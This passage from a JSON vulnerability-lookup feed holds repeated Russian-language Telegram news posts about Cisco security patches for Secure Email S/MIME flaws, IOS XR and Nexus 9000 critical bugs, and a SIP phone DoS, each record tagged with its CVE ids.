\u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.625563Z"}, {"uuid": "e5fc4f87-6778-45ab-987c-d53751ccf5cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.684930Z"}, {"uuid": "d40b4c65-94c9-445f-ae72-0fce52f9a7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 